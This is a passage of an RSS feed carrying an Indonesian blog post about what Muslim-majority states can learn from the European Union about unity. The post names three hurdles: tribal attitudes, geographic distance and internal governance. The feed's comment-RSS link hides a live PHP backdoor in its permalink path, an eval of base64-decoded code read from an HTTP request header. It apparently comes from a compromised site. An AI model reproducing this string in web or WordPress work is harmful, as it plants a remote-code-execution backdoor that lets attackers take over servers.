<p class="MsoNormal"><span>Tentunya, dalam merealisasikan sebuah entitas tunggal berbasis Islam, negara-negara Islam memiliki beberapa tantangan yang harus dihadapi dengan bersemangat. Pertama, mereka harus memperbaiki kacamata yang keliru dalam memandang persatuan. Kacamata yang berorientasi pada golongan dan suku harus diganti oleh kacamata yang mengedepankan titik temu dan kebersamaan. Tentunya, perbedaan ini haruslah diterapkan pada skala nasional terlebih dahulu, mengingat negara-negara kaum muslimin sendiri masih memiliki masalah persatuan dalam negerinya.</span></p>
<p class="MsoNormal"><span>Tantangan berikutnya yang dihadapi kaum muslimin adalah kondisi geografis. Berbeda dengan Uni Eropa yang berada pada satu dataran, negara-negara Islam terletak pada berbagai belahan dunia. Diperlukan strategi yang jitu untuk mengatasi tantangan jarak ini, terutama dari segi pertahanan dan keamanan.</span></p>
<p class="MsoNormal"><span>Ketiga, negara-negara Islam masih memiliki PR besar dalam menyelesaikan urusan negaranya sendiri. Sebelum bersatu, ada persyaratan tertentu yang harus dipenuhi sebuah negara. Hal ini menarik, karena Uni Eropa sendiri mensyaratkan pencapaian-pencapaian tertentu bagi negara yang ingin bergabung, agar tidak merugikan Uni Eropa secara keseluruhan. Masih banyak nilai-nilai Islam seperti kejujuran, tanggung jawab, dan bekerja keras yang tidak terbudayakan dalam negara Islam itu sendiri. Jika hal ini tidak dibenahi, sebuah Uni Islam hanya akan menyebarkan kejahatan yang ada pada negara anggotanya. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/04/13/belajar-persatuan-kepada-uni-eropa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
	</channel>
</rss>
